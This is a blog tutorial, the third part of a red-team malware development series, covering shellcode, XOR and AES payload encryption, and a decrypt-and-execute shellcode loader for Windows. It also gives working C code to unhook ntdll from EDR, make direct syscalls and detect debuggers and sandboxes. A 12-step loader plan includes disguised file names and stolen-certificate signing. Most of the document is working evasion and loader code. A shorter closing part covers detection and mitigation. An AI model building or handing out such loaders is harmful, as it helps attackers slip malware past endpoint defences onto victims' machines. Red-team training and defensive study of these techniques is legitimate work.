Malware Development 101 – Part 3: Shellcode, Encryption, and Evasion Techniques

This blog series is the written companion to our Malware Development: Red Team Tradecraft YouTube playlist, where we walk through live demos of the evasion techniques discussed here, including payload staging, AV/EDR bypass, and in-memory, on disk, and network evasion. We recommend following along with the playlist alongside these posts. 

Disclaimer

This blog series is designed for cybersecurity professionals, red teamers, and security analysts who want to understand malware development from an offensive or defensive perspective. The knowledge shared here is meant to help you better create, detect, analyze, and defend against malicious software. Always use this information ethically and legally within authorized security assessments and controlled environments.

Introduction

Welcome to Part 3 of the Maldev 101 series! In Part 1, we covered the foundational concepts of processes, threads, and memory. In Part 2, we explored Windows APIs, PE format, and injection techniques.

Now we’re moving into the advanced techniques that separate basic malware from sophisticated threats:

• Shellcode Fundamentals – What it is and how it works
• Cryptography in Malware – XOR and AES encryption techniques
• Shellcode Encryption & Obfuscation – Hiding payloads from static analysis
• Evasion Techniques – API unhooking, syscalls, and anti-debugging
• Building a Complete Loader – 12-step methodology from concept to execution
• Detection & Defense – How to spot these techniques in the wild

By the end of this post, you’ll understand how modern malware evades detection through encryption, obfuscation, and sophisticated evasion techniques – and more importantly, how to defend against them.

Understanding Shellcode: The Core Payload

What is Shellcode?

Shellcode is a small piece of position-independent code used as a payload in exploitation. Despite its name, it doesn’t necessarily spawn a shell – modern shellcode can:

• Download and execute additional payloads (stagers)
• Establish reverse shells or bind shells
• Perform credential theft
• Execute arbitrary commands
• Inject into other processes

Key Characteristics:

– Position-independent – Can execute from any memory address

– Self-contained – No external dependencies

– Compact – Usually very small (hundreds of bytes)

– No null bytes – Often required for buffer overflow exploits

Example: MessageBox Shellcode

Here’s a simple shellcode that displays a message box (from msfvenom):

unsigned char shellcode[] = 
    "\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52"
    "\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48"
    "\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9"
    // ... continues
    ;

How Shellcode Works

1. Assembly code is written to perform specific tasks
2. Assembled into machine code (opcodes)
3. Extracted as raw bytes
4. Injected into memory
5. Executed by redirecting execution flow to its address

Common Shellcode Types

Cryptography in Malware: XOR and AES

Encryption is crucial for evading signature-based detection. Let’s explore the two most common encryption methods in malware.

XOR Encryption: Simple but Effective

What is XOR?

XOR (exclusive OR) is a bitwise operation that’s both simple and powerful:

• If bits are the same, result is 0
• If bits are different, result is 1

XOR Truth Table:

Why XOR is Used in Malware:

1. Reversible: If A ⊕ B = C, then C ⊕ B = A
   • Same operation encrypts AND decrypts
2. Fast: Extremely efficient computation
3. Simple: Easy to implement in any language
4. Effective: Breaks signature-based detection

XOR Encryption Example

#include <stdio.h>
#include <string.h>
// XOR encrypt/decrypt function
void xor_encrypt_decrypt(unsigned char* data, size_t data_len, unsigned char* key, size_t key_len) {
    for (size_t i = 0; i < data_len; i++) {
        data[i] = data[i] ^ key[i % key_len];
    }
}
int main() {
    // Original shellcode (example)
    unsigned char shellcode[] = 
        "\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00";
    
    // XOR key
    unsigned char key[] = "MySecretKey";
    
    size_t shellcode_len = sizeof(shellcode) - 1;
    size_t key_len = sizeof(key) - 1;
    
    printf("[+] Original shellcode:\n");
    for (size_t i = 0; i < shellcode_len; i++) {
        printf("\\x%02x", shellcode[i]);
    }
    printf("\n\n");
    
    // Encrypt
    xor_encrypt_decrypt(shellcode, shellcode_len, key, key_len);
    
    printf("[+] Encrypted shellcode:\n");
    for (size_t i = 0; i < shellcode_len; i++) {
        printf("\\x%02x", shellcode[i]);
    }
    printf("\n\n");
    
    // Decrypt (same operation!)
    xor_encrypt_decrypt(shellcode, shellcode_len, key, key_len);
    
    printf("[+] Decrypted shellcode:\n");
    for (size_t i = 0; i < shellcode_len; i++) {
        printf("\\x%02x", shellcode[i]);
    }
    printf("\n");
    
    return 0;
}

Output Example:

[+] Original shellcode:
\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00
[+] Encrypted shellcode:
\x91\x25\xec\x81\x9d\x8d\xad\x69\x73\x6b
[+] Decrypted shellcode:
\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00

XOR in Real Malware

Modern malware often uses XOR with:

– Single-byte keys – Fast but weak

– Multi-byte keys – More secure

– Dynamic keys – Generated at runtime

– Chained XOR – Multiple passes with different keys

AES Encryption: Military-Grade Security

Advanced Encryption Standard (AES) is a symmetric block cipher that’s much more secure than XOR but requires more computational overhead.

AES Key Features:

– Block cipher – Processes data in 128-bit blocks

– Key sizes – 128, 192, or 256 bits

– Rounds – 10 rounds for AES-128, 12 for AES-192, 14 for AES-256

– Standardized – NIST-approved encryption standard

AES Encryption Process

Plaintext → Initial Round → Main Rounds → Final Round → Ciphertext
Round Structure:
1. SubBytes      (S-box substitution)
2. ShiftRows     (Row shifting)
3. MixColumns    (Column mixing - except final round)
4. AddRoundKey   (XOR with round key)

The Four Main Transformations:

1. SubBytes: Non-linear substitution using S-box lookup
2. ShiftRows: Cyclically shifts rows by different offsets
3. MixColumns: Linear transformation mixing column bytes
4. AddRoundKey: XOR with round key (derived from original key)

AES Encryption Example (Using Windows Crypto API)

#include <windows.h>
#include <wincrypt.h>
#include <stdio.h>
#pragma comment(lib, "advapi32.lib")
BOOL AES_Encrypt(BYTE* data, DWORD dataLen, BYTE* key, DWORD keyLen, BYTE** encryptedData, DWORD* encryptedLen) {
    HCRYPTPROV hProv = 0;
    HCRYPTHASH hHash = 0;
    HCRYPTKEY hKey = 0;
    
    // Acquire cryptographic provider
    if (!CryptAcquireContext(&hProv, NULL, NULL, PROV_RSA_AES, CRYPT_VERIFYCONTEXT)) {
        return FALSE;
    }
    
    // Create hash object
    if (!CryptCreateHash(hProv, CALG_SHA_256, 0, 0, &hHash)) {
        CryptReleaseContext(hProv, 0);
        return FALSE;
    }
    
    // Hash the key
    if (!CryptHashData(hHash, key, keyLen, 0)) {
        CryptDestroyHash(hHash);
        CryptReleaseContext(hProv, 0);
        return FALSE;
    }
    
    // Derive AES key from hash
    if (!CryptDeriveKey(hProv, CALG_AES_256, hHash, 0, &hKey)) {
        CryptDestroyHash(hHash);
        CryptReleaseContext(hProv, 0);
        return FALSE;
    }
    
    // Allocate buffer for encrypted data (may be larger due to padding)
    *encryptedLen = dataLen;
    *encryptedData = (BYTE*)malloc(*encryptedLen);
    memcpy(*encryptedData, data, dataLen);
    
    // Encrypt the data
    if (!CryptEncrypt(hKey, 0, TRUE, 0, *encryptedData, &dataLen, *encryptedLen)) {
        free(*encryptedData);
        CryptDestroyKey(hKey);
        CryptDestroyHash(hHash);
        CryptReleaseContext(hProv, 0);
        return FALSE;
    }
    
    *encryptedLen = dataLen;
    
    // Cleanup
    CryptDestroyKey(hKey);
    CryptDestroyHash(hHash);
    CryptReleaseContext(hProv, 0);
    
    return TRUE;
}
int main() {
    unsigned char shellcode[] = "\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00";
    unsigned char key[] = "MyAESEncryptionKey123456";
    
    BYTE* encrypted = NULL;
    DWORD encryptedLen = 0;
    
    if (AES_Encrypt(shellcode, sizeof(shellcode) - 1, key, sizeof(key) - 1, &encrypted, &encryptedLen)) {
        printf("[+] Shellcode encrypted successfully\n");
        printf("[+] Encrypted length: %lu bytes\n", encryptedLen);
        
        // Output encrypted shellcode
        printf("[+] Encrypted data:\n");
        for (DWORD i = 0; i < encryptedLen; i++) {
            printf("\\x%02x", encrypted[i]);
        }
        printf("\n");
        
        free(encrypted);
    } else {
        printf("[-] Encryption failed\n");
    }
    
    return 0;
}

XOR vs AES: When to Use Each

Real-World Strategy: Many malware samples use layered encryption:

1. AES-encrypt the main payload

2. XOR-encrypt the AES key

3. Decrypt at runtime in stages

Shellcode Encryption in Practice

The Workflow

1. Generate shellcode (msfvenom, custom)
2. Encrypt shellcode (XOR/AES)
3. Embed encrypted shellcode in loader
4. At runtime:
   a. Allocate memory
   b. Decrypt shellcode
   c. Change memory permissions
   d. Execute

Complete Example: XOR-Encrypted Shellcode Loader

#include <windows.h>
#include <stdio.h>
// Encrypted shellcode (calc.exe - encrypted with XOR key)
unsigned char encrypted_shellcode[] = 
    "\x91\x25\xec\x81\x9d\x8d\xad\x69\x73\x6b\x96\x2c\x96\x2d\x2f"
    "\x2e\x29\x95\x0e\xaf\xa2\x95\xae\x2f\xa5\x95\xae\x2f\xed\x95";
unsigned char xor_key[] = "SecretKey";
void xor_decrypt(unsigned char* data, size_t data_len, unsigned char* key, size_t key_len) {
    for (size_t i = 0; i < data_len; i++) {
        data[i] = data[i] ^ key[i % key_len];
    }
}
int main() {
    size_t shellcode_len = sizeof(encrypted_shellcode);
    size_t key_len = sizeof(xor_key) - 1;
    
    printf("[+] Encrypted shellcode length: %zu bytes\n", shellcode_len);
    
    // Allocate RW memory
    LPVOID exec_mem = VirtualAlloc(NULL, shellcode_len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
    if (exec_mem == NULL) {
        printf("[-] VirtualAlloc failed: %lu\n", GetLastError());
        return 1;
    }
    printf("[+] Memory allocated at: 0x%p\n", exec_mem);
    
    // Copy encrypted shellcode to allocated memory
    memcpy(exec_mem, encrypted_shellcode, shellcode_len);
    
    // Decrypt in memory
    printf("[+] Decrypting shellcode...\n");
    xor_decrypt((unsigned char*)exec_mem, shellcode_len, xor_key, key_len);
    
    // Change memory protection to RX
    DWORD old_protect;
    if (!VirtualProtect(exec_mem, shellcode_len, PAGE_EXECUTE_READ, &old_protect)) {
        printf("[-] VirtualProtect failed: %lu\n", GetLastError());
        VirtualFree(exec_mem, 0, MEM_RELEASE);
        return 1;
    }
    printf("[+] Memory protection changed to RX\n");
    
    // Execute shellcode
    printf("[+] Executing shellcode...\n");
    ((void(*)())exec_mem)();
    
    // Cleanup
    VirtualFree(exec_mem, 0, MEM_RELEASE);
    
    return 0;
}

Key Points:

1. Shellcode stored encrypted (static analysis can’t detect it)

2. Decryption happens in memory at runtime

3. Memory permissions changed from RW to RX (better OPSEC)

4. Executed via function pointer cast

Advanced Evasion Techniques

1. API Unhooking: Bypassing EDR

Modern EDRs hook Windows APIs to monitor behavior. API unhooking restores the original API code.

How EDR Hooks Work:

Normal API Call:
Application → kernel32.dll → ntdll.dll → Kernel
With EDR Hook:
Application → kernel32.dll → EDR Hook → EDR Analysis → ntdll.dll → Kernel

Unhooking Technique:

#include <windows.h>
#include <stdio.h>
BOOL UnhookNtdll() {
    // 1. Get handle to ntdll.dll in memory
    HMODULE hNtdll = GetModuleHandleA("ntdll.dll");
    if (!hNtdll) return FALSE;
    
    // 2. Load a fresh copy from disk
    HANDLE hFile = CreateFileA("C:\\Windows\\System32\\ntdll.dll", GENERIC_READ, 
                               FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL);
    if (hFile == INVALID_HANDLE_VALUE) return FALSE;
    
    DWORD fileSize = GetFileSize(hFile, NULL);
    LPVOID buffer = VirtualAlloc(NULL, fileSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
    
    DWORD bytesRead;
    ReadFile(hFile, buffer, fileSize, &bytesRead, NULL);
    CloseHandle(hFile);
    
    // 3. Parse PE headers
    PIMAGE_DOS_HEADER dosHeader = (PIMAGE_DOS_HEADER)buffer;
    PIMAGE_NT_HEADERS ntHeaders = (PIMAGE_NT_HEADERS)((DWORD_PTR)buffer + dosHeader->e_lfanew);
    
    // 4. Find .text section (contains executable code)
    PIMAGE_SECTION_HEADER section = IMAGE_FIRST_SECTION(ntHeaders);
    for (int i = 0; i < ntHeaders->FileHeader.NumberOfSections; i++) {
        if (strcmp((char*)section->Name, ".text") == 0) {
            // 5. Change protection of hooked ntdll
            DWORD oldProtect;
            VirtualProtect((LPVOID)((DWORD_PTR)hNtdll + section->VirtualAddress),
                          section->Misc.VirtualSize, PAGE_EXECUTE_READWRITE, &oldProtect);
            
            // 6. Copy fresh .text section over hooked version
            memcpy((LPVOID)((DWORD_PTR)hNtdll + section->VirtualAddress),
                   (LPVOID)((DWORD_PTR)buffer + section->PointerToRawData),
                   section->Misc.VirtualSize);
            
            // 7. Restore original protection
            VirtualProtect((LPVOID)((DWORD_PTR)hNtdll + section->VirtualAddress),
                          section->Misc.VirtualSize, oldProtect, &oldProtect);
            
            printf("[+] ntdll.dll .text section unhooked\n");
            break;
        }
        section++;
    }
    
    VirtualFree(buffer, 0, MEM_RELEASE);
    return TRUE;
}

What This Does:

1. Loads clean ntdll.dll from disk
2. Finds the .text section (executable code)
3. Overwrites the hooked in-memory version with the clean version
4. EDR hooks are removed!

2. Direct Syscalls: Bypassing User-Mode Hooks

Instead of calling APIs that might be hooked, make syscalls directly.

Normal Flow vs Syscall:

Normal:
Your Code → CreateRemoteThread (kernel32) → NtCreateThreadEx (ntdll) → Syscall
Direct Syscall:
Your Code → Syscall (bypasses everything!)

Example Using SysWhispers:

// Generated by SysWhispers
EXTERN_C NTSTATUS NtAllocateVirtualMemory(
    HANDLE ProcessHandle,
    PVOID* BaseAddress,
    ULONG_PTR ZeroBits,
    PSIZE_T RegionSize,
    ULONG AllocationType,
    ULONG Protect
);
int main() {
    HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, targetPID);
    PVOID baseAddress = NULL;
    SIZE_T regionSize = 0x1000;
    
    // Direct syscall - bypasses EDR hooks!
    NTSTATUS status = NtAllocateVirtualMemory(
        hProcess,
        &baseAddress,
        0,
        &regionSize,
        MEM_COMMIT | MEM_RESERVE,
        PAGE_EXECUTE_READWRITE
    );
    
    if (NT_SUCCESS(status)) {
        printf("[+] Memory allocated via syscall at: 0x%p\n", baseAddress);
    }
    
    return 0;
}

Tools for Syscalls:

– SysWhispers – Generates syscall stubs

– InlineWhispers – Inline syscall implementation

– HellsGate/HalosGate – Runtime syscall number resolution

3. Anti-Debugging Techniques

Detect and evade debuggers:

#include <windows.h>
#include <stdio.h>
// Method 1: IsDebuggerPresent
BOOL CheckDebugger1() {
    return IsDebuggerPresent();
}
// Method 2: CheckRemoteDebuggerPresent
BOOL CheckDebugger2() {
    BOOL debuggerPresent = FALSE;
    CheckRemoteDebuggerPresent(GetCurrentProcess(), &debuggerPresent);
    return debuggerPresent;
}
// Method 3: PEB (Process Environment Block) check
// Note: x64 version using intrinsic. For x86, use fs:[0x30] via inline asm.
BOOL CheckDebugger3() {
#ifdef _WIN64
    // x64: PEB is at gs:[0x60]
    PPEB pPeb = (PPEB)__readgsqword(0x60);
    return pPeb->BeingDebugged;
#else
    // x86: PEB is at fs:[0x30]
    BOOL debuggerPresent = FALSE;
    __asm {
        mov eax, fs:[0x30]    // Get PEB address
        mov al, [eax + 0x02]  // BeingDebugged flag
        mov debuggerPresent, al
    }
    return debuggerPresent;
#endif
}
// Method 4: Timing check
BOOL CheckDebugger4() {
    DWORD start = GetTickCount();
    Sleep(1000);  // Sleep for 1 second
    DWORD end = GetTickCount();
    
    // If debugger is stepping through, time will be much longer
    return (end - start) > 1500;
}
int main() {
    if (CheckDebugger1() || CheckDebugger2() || CheckDebugger3() || CheckDebugger4()) {
        printf("[!] Debugger detected! Exiting...\n");
        return 1;
    }
    
    printf("[+] No debugger detected. Proceeding...\n");
    // Continue with malicious activity
    
    return 0;
}

4. Sandbox Evasion

Detect and evade automated analysis environments:

// Check for low resources (sandboxes often have minimal RAM)
BOOL IsSandbox_LowRAM() {
    MEMORYSTATUSEX memInfo;
    memInfo.dwLength = sizeof(MEMORYSTATUSEX);
    GlobalMemoryStatusEx(&memInfo);
    
    // Less than 4GB RAM? Probably a sandbox
    return (memInfo.ullTotalPhys < 4ULL * 1024 * 1024 * 1024);
}
// Check for user interaction
BOOL IsSandbox_NoMouseMovement() {
    POINT pos1, pos2;
    GetCursorPos(&pos1);
    Sleep(5000);  // Wait 5 seconds
    GetCursorPos(&pos2);
    
    // No mouse movement? Probably automated
    return (pos1.x == pos2.x && pos1.y == pos2.y);
}
// Check number of processors
BOOL IsSandbox_LowCPU() {
    SYSTEM_INFO sysInfo;
    GetSystemInfo(&sysInfo);
    
    // Less than 2 cores? Probably a sandbox
    return (sysInfo.dwNumberOfProcessors < 2);
}
// Sleep to bypass time-acceleration
void AntiSandbox_Sleep() {
    // Sandboxes often accelerate time
    // Sleep with checks to detect this
    DWORD start = GetTickCount();
    Sleep(10000);  // 10 seconds
    DWORD elapsed = GetTickCount() - start;
    
    if (elapsed < 9000) {
        // Time was accelerated - probably sandbox
        exit(0);
    }
}

Building a Complete Loader: The 12-Step Process

Based on modern malware development practices, here’s the complete methodology:

Step 1: Choose Output Format

Decide the file type:

– EXE – Standalone executable

– DLL – Library (loaded by another process)

– Service – Windows service

– Exotic formats – .cpl, .scr, .xll (less common, less detected)

Step 2: Choose Shellcode Location

Where is the payload stored?

– Local: Embedded in binary (PE section, resources)

– Remote: Downloaded from HTTP, DNS, or other channels

– Registry: Stored in Windows registry

– Cloud: Fetched from cloud storage

Step 3: Apply Shellcode Manipulation (Shellcode-Independent)

Encoding applied before loader creation:

– Shikata Ga Nai (msfvenom polymorphic encoder)

– Sliver obfuscation – Custom encoders

Step 4: Apply Shellcode Manipulation (Loader-Dependent)

Encryption the loader must reverse:

– XOR (single or multi-byte key)

– AES (128/256-bit)

– RC4 – Custom algorithms

Step 5: Obfuscate the Shellcode

Hide high-entropy data:

– String splitting – Break into chunks

– Mimicry – Make it look like image data, certificates

– Steganography – Hide in legitimate files

Step 6: Choose Execution Technique

How to run the shellcode:

– Local: Direct execution in current process – Function pointer: ((void(*)())shellcode)() – CreateThread

– Remote: Inject into another process – CreateRemoteThread – APC injection – Process hollowing

Step 7: Select Remote Execution Substeps

If using remote execution:

1. Choose or spawn target process
2. Allocate memory (VirtualAllocEx)
3. Write shellcode (WriteProcessMemory)
4. Trigger execution (CreateRemoteThread, QueueUserAPC)

Step 8: Apply Evasion Techniques

Reduce detection:

– Syscalls instead of APIs

– API unhooking – Sleep/delays to evade sandboxes

– Signed binaries (stolen or self-signed certificates)

– File bloating (add junk data to change hash)

Step 9: Add Anti-Analysis Features

Make analysis harder:

– Debugger checks

– VM/Sandbox detection

– Anti-disassembly (junk instructions, opaque predicates)

– Timing checks

Step 10: Customize Metadata

Make it look legitimate:

– File icons (look like Word, PDF, etc.)

– File names (ChromeUpdate.exe, AdobeReader.exe)

– Version information (company name, description)

– RTLO tricks (Right-to-Left Override for name spoofing)

Step 11: Apply Code Obfuscation

Obfuscate the loader code itself:

– Obfuscator-LLVM (OLLVM) – Control flow flattening

– String encryption

– Function name mangling

– Dead code insertion

Step 12: Compile and Optionally Sign

Final steps:

– Compile with optimization flags

– Strip debug symbols

– Sign binary: – Self-signed (low trust) – Stolen certificate (high trust but illegal) – Legitimate certificate (if available)

Complete Loader Example: Putting It All Together

Here’s a complete loader implementing many of these concepts:

#include <windows.h>
#include <stdio.h>
// AES-encrypted shellcode (in real malware, this would be actual encrypted data)
unsigned char encrypted_payload[] = 
    "\x3a\x7f\x9c\x4b\x2e\x8d\x5f\x1a\x6c\x3e\x9f\x2d\x8a\x4f\x1c";
unsigned char xor_key[] = "MySecretXORKey12";
// Anti-debugging check
BOOL IsDebuggerActive() {
    if (IsDebuggerPresent()) return TRUE;
    
    BOOL debuggerPresent = FALSE;
    CheckRemoteDebuggerPresent(GetCurrentProcess(), &debuggerPresent);
    return debuggerPresent;
}
// Sandbox evasion - check RAM
BOOL IsProbablySandbox() {
    MEMORYSTATUSEX memInfo;
    memInfo.dwLength = sizeof(MEMORYSTATUSEX);
    GlobalMemoryStatusEx(&memInfo);
    
    // Less than 4GB? Suspicious
    if (memInfo.ullTotalPhys < 4ULL * 1024 * 1024 * 1024) {
        return TRUE;
    }
    
    // Check CPU count
    SYSTEM_INFO sysInfo;
    GetSystemInfo(&sysInfo);
    if (sysInfo.dwNumberOfProcessors < 2) {
        return TRUE;
    }
    
    return FALSE;
}
// XOR decrypt function
void decrypt_payload(unsigned char* data, size_t len, unsigned char* key, size_t keylen) {
    for (size_t i = 0; i < len; i++) {
        data[i] ^= key[i % keylen];
    }
}
int main() {
    // Anti-analysis checks
    if (IsDebuggerActive()) {
        printf("Normal execution\n");
        return 0;  // Exit silently
    }
    
    if (IsProbablySandbox()) {
        Sleep(60000);  // Sleep to evade time-based sandboxes
        return 0;
    }
    
    size_t payload_len = sizeof(encrypted_payload);
    size_t key_len = sizeof(xor_key) - 1;
    
    // Allocate RW memory
    LPVOID exec_mem = VirtualAlloc(
        NULL,
        payload_len,
        MEM_COMMIT | MEM_RESERVE,
        PAGE_READWRITE
    );
    
    if (!exec_mem) return 1;
    
    // Copy and decrypt
    memcpy(exec_mem, encrypted_payload, payload_len);
    decrypt_payload((unsigned char*)exec_mem, payload_len, xor_key, key_len);
    
    // Change to RX (not RWX - better OPSEC)
    DWORD old_protect;
    VirtualProtect(exec_mem, payload_len, PAGE_EXECUTE_READ, &old_protect);
    
    // Execute
    ((void(*)())exec_mem)();
    
    // Cleanup
    VirtualFree(exec_mem, 0, MEM_RELEASE);
    
    return 0;
}

This loader implements:

– ✅ Anti-debugging checks

– ✅ Sandbox evasion

– ✅ Encrypted payload

– ✅ Runtime decryption

– ✅ Proper memory permissions (RW → RX)

– ✅ Memory cleanup

Detection Strategies: Defending Against Advanced Malware

Detecting API Unhooking

EDR Alert:

Alert: NTDLL Tampering Detected
Trigger: WriteProcessMemory targeting ntdll.dll .text section
Severity: CRITICAL
Indicators:
- Process modifying its own ntdll.dll
- Changes to .text section of system DLLs
- File read of C:\Windows\System32\ntdll.dll followed by memory writes

Detecting Syscalls

Behavioral Detection:

Alert: Direct Syscall Usage
Trigger: Execution flow jumps directly to syscall instruction without going through ntdll
Detection methods:
- ETW (Event Tracing for Windows) monitoring
- Kernel callbacks for thread creation
- Memory scanning for syscall stubs

Detecting Sandbox Evasion

Honeypot Techniques:

// Defender: Make sandbox look more realistic
- Set RAM to 8GB or more
- Enable multiple CPU cores
- Simulate mouse movement
- Disable time acceleration
- Add realistic user artifacts (browser history, documents)

Mitigation Strategies

1. Application Whitelisting

# AppLocker example
$rule = New-AppLockerPolicy -RuleType Publisher `
    -Path "C:\Program Files\*" `
    -User "Everyone" `
    -Action Allow
Set-AppLockerPolicy -PolicyObject $rule

2. Attack Surface Reduction (ASR)

# Enable ASR rules via PowerShell
Add-MpPreference -AttackSurfaceReductionRules_Ids `
    BE9BA2D9-53EA-4CDC-84E5-9B1EEEE46550 ` # Block executable content from email
    -AttackSurfaceReductionRules_Actions Enabled

3. Credential Guard

# Enable Credential Guard
Enable-WindowsOptionalFeature -Online -FeatureName CredentialGuard

4. Code Integrity Policies

# Windows Defender Application Control (WDAC)
New-CIPolicy -Level Publisher -FilePath "C:\WDAC\Policy.xml" `
    -UserPEs -MultiplePolicyFormat

Conclusion

In this final part of the Maldev 101 series, we’ve covered the advanced techniques that separate sophisticated malware from basic threats:

Key Takeaways:

1. Encryption is essential for evading signature-based detection – XOR for speed, AES for security
2. Evasion techniques like API unhooking and syscalls can bypass modern EDR solutions
3. Anti-analysis features make reverse engineering and dynamic analysis much harder
4. The 12-step loader methodology provides a comprehensive framework for building stealthy loaders
5. Defense requires layered approaches – no single technique will catch everything

The Complete Maldev Journey:

• Part 1: Processes, threads, memory, handles – the foundation
• Part 2: Windows APIs, PE format, injection techniques – the implementation
• Part 3: Encryption, evasion, complete loaders – the sophistication

Final Thoughts:

The techniques covered in this series are used daily by:

• Red teams to test organizational defenses
• Security researchers to discover vulnerabilities
• SOC analysts to understand threat actor TTPs
• Malware analysts to reverse engineer samples

The arms race between attackers and defenders never stops. Stay curious, keep learning, and always think like an attacker to defend better.

Hands-On Practice Lab

Final Exercise: Build Your Own Loader

1. Generate shellcode (use msfvenom for calc.exe)

   msfvenom -p windows/x64/exec CMD=calc.exe -f c

2. Encrypt it with XOR or AES

3. Build a loader that:

   • Checks for debuggers
   • Evades sandboxes
   • Decrypts payload
   • Executes in memory

4. Test detection with:

   • Windows Defender
   • Process Hacker
   • Sysmon logging

Remember: Only in isolated, authorized environments!

Detections & Mitigations

MITRE ATT&CK Techniques:

• Obfuscated Files or Information – T1027
  • T1027.002 – Software Packing
  • T1027.005 – Indicator Removal from Tools
• Defense Evasion – TA0005
  • T1140 – Deobfuscate/Decode Files or Information
  • T1562.001 – Disable or Modify Tools
  • T1070.006 – Indicator Removal: Timestomp
• Execution Guardrails – T1480
  • T1480.001 – Environmental Keying
• Virtualization/Sandbox Evasion – T1497

Defensive Tools:

• YARA – Pattern matching and signature detection
• PE-sieve – Detect inline hooks and other code modifications
• Sysmon – Detailed process and network monitoring
• EDR Solutions – Behavioral analysis and threat hunting

Resources

Tools:

• SysWhispers – Syscall generation
• Donut – Shellcode generator
• PE-bear – PE analysis
• x64dbg – Windows debugger

Reading:

• The Shellcoder’s Handbook
• Security research classic
• Practical Malware Analysis – Essential reading
• Windows Internals – System architecture deep dive

Asif Khan

Highly skilled Pentester with experience in various areas, including multi-clouds (AWS, Azure, and GCP), network, web applications, APIs, and mobile penetration testing. In addition, he is passionate about conducting Red and Purple Team assessments and developing innovative solutions to protect company systems and data.

Connect with me on LinkedIn